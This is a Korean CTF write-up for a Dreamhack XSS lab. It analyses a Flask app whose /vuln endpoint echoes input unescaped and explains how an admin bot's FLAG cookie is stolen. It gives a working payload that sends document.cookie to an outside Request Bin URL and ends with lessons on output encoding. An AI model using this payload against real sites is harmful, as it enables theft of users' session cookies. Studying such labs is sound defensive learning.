Write-up: XSS (Dreamhack)
문제 개요
Flask로 작성된 웹 서버에서 XSS 취약점을 이용해 관리자(봇)의 쿠키에 저장된 FLAG를 탈취하는 문제.
엔드포인트 분석
/vuln — 취약점 발생 지점
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param # 입력값을 그대로 출력 → XSS 발생
사용자 입력을 아무 검증 없이 그대로 HTTP 응답으로 반환한다. <script> 태그를 포함한 입력이 브라우저에서 그대로 실행된다.
/memo — 데이터 수신 저장소
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- render_template() 사용으로 Jinja2가 HTML 엔티티 인코딩을 자동 처리 → XSS 발생하지 않음
- 대신 GET 파라미터로 받은 값을 서버 전역 변수에 누적 저장
- 탈취한 쿠키를 서버에 기록하는 용도로 활용 가능
/flag — 공격 트리거
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
POST 요청 시 입력한 param 값과 함께 FLAG 쿠키를 가진 봇이 /vuln을 방문한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def read_url(url, cookie={"name": "name", "value": "value"}):
driver = webdriver.Chrome(...)
driver.add_cookie(cookie) # FLAG 쿠키 주입
driver.get(url) # 봇이 /vuln 방문
취약점 분석
엔드포인트 XSS 여부 이유
| /vuln | 발생 | return param — 입력을 날것으로 반환 |
| /memo | 안전 | render_template() — Jinja2가 엔티티 인코딩 처리 |
/vuln은 입력값을 HTML 인코딩 없이 그대로 출력하므로, <script> 태그를 포함한 입력이 봇의 브라우저에서 실행된다.
공격 흐름
1. tools.dreamhack.games 에서 Request Bin URL 발급
→ http://srklhga.request.dreamhack.games
2. /flag 에 XSS 페이로드 제출
→ 봇이 FLAG 쿠키를 들고 /vuln 방문
3. /vuln 에서 스크립트 실행
→ document.cookie (FLAG) 를 Request Bin으로 전송
4. Request Bin에서 FLAG 확인
익스플로잇
페이로드
location.href="<a href=http://srklhga.request.dreamhack.games/?memo=>http://srklhga.request.dreamhack.games/?memo=</a>"+document.cookie
동작 원리
- 봇이 /vuln?param=<script>...</script> 방문
- 스크립트 실행 → document.cookie 로 FLAG 쿠키 읽기
- location.href 로 Request Bin에 GET 요청 전송
- Request Bin 접속 기록에서 FLAG 확인
제출 위치
http://host8.dreamhack.games:14710/flag
→ param 입력창에 페이로드 입력 후 제출
FLAG

핵심 교훈
- 사용자 입력을 render_template() 없이 직접 반환하면 XSS가 발생한다
- 봇(헤드리스 브라우저)을 통해 관리자 권한의 쿠키를 탈취할 수 있다
- document.cookie + location.href 조합으로 쿠키를 외부 서버로 유출할 수 있다
- 입력값은 반드시 HTML 엔티티 인코딩 후 출력해야 한다